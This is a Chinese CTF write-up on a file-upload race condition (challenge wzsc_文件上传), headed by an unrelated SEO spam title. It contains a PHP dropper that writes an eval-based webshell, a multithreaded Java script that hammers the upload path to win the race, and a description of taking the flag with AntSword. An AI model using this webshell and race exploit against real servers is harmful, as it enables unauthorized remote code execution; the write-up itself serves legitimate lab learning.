公司內(nèi)部網(wǎng)站開(kāi)發(fā)桂林seo
漏洞攻擊之文件上傳條件競(jìng)爭(zhēng)
- wzsc_文件上傳
- 漏洞現(xiàn)象與分析
- 思路
- 編寫(xiě)攻擊腳本和重放措施
- 中國(guó)蟻劍拿flag
wzsc_文件上傳
漏洞現(xiàn)象與分析
只有一個(gè)upload前端標(biāo)簽元素,并且上傳任意文件都會(huì)跳轉(zhuǎn)到upload.php頁(yè)面,判定是一個(gè)apache容器,開(kāi)始掃描web目錄,查看是否有機(jī)可乘
掃描得知有關(guān)鍵的flag.php頁(yè)面和upload文件根路徑和upload.php頁(yè)面,php文件查看了都沒(méi)有渲染有用的信息…但是upload文根重定向到文件上傳的頁(yè)面
并且上傳的php木馬等都會(huì)被過(guò)濾,判斷源碼中有校驗(yàn)白名單,聯(lián)想到文件上傳的條件競(jìng)爭(zhēng)
php校驗(yàn)文件上傳的時(shí)候先寫(xiě)入,判斷不符合后,再回退
由于服務(wù)器并發(fā)處(同時(shí))理多個(gè)請(qǐng)求,假如a用戶上傳了一個(gè)文件,b用戶訪問(wèn)a用戶的文件就會(huì)出現(xiàn)以下三種情況:
1.訪問(wèn)時(shí)間點(diǎn)在上傳文件之前,沒(méi)有此文件
2.訪問(wèn)時(shí)間在上傳文件之后,且服務(wù)器還未將其刪除,文件存在
3.訪問(wèn)時(shí)間點(diǎn)在服務(wù)器刪除文件之后,文件不存在
思路
思路清晰,先說(shuō)BP
在服務(wù)器釋放上傳的php文件之前先讓該文件被執(zhí)行,那么操作權(quán)就在我們手上了,這里我們讓生成蟻劍的webshell木馬,再通過(guò)提權(quán)webshell獲取源碼拿到flag
編寫(xiě)攻擊腳本和重放措施
php上傳的腳本為:
<?php
fputs(fopen("shell.php", "w"), '<?php @eval($_POST["cmd"]); ?>');
?>
執(zhí)行該腳本打時(shí)候調(diào)用fopen函數(shù),寫(xiě)入webshell的木馬。
該腳本為upload,在burpsuite手動(dòng)重放即可,記得點(diǎn)快一點(diǎn)
小編使用java多線程破壞服務(wù)器的退回操作,上腳本:
@SpringBootApplication
@Slf4j
public class Application {@Beanpublic OkHttpClient okHttpClient() {return new OkHttpClient();}private static final String requestUrl = "http://61.147.171.105:51022/upload/test.php";public static String sendRequest(OkHttpClient okHttpClient, String url) throws IOException {Request request = new Request.Builder().url(url).build();try (Response response = okHttpClient.newCall(request).execute()) {if (!response.isSuccessful()) {throw new IOException("Unexpected code " + response);}return Objects.requireNonNull(response.body()).string();}}public static void main(String[] args) {ConfigurableApplicationContext applicationContext = SpringApplication.run(Application.class, args);OkHttpClient okHttpClient = applicationContext.getBean("okHttpClient", OkHttpClient.class);for (int i = 0; i < 50; i++) {new Thread(() -> {int num = 0;while (true) {log.warn("{}第{}次請(qǐng)求", Thread.currentThread().getName(), num++);try {String resp = sendRequest(okHttpClient, requestUrl);log.info("數(shù)據(jù)獲取成功{}", resp);System.exit(0);} catch (IOException e) {}}}, "threadNo" + i).start();}}
}
最終java腳本結(jié)束:
我們?cè)L問(wèn)upload文根查看結(jié)果
木馬上傳成功!
中國(guó)蟻劍拿flag
提交flag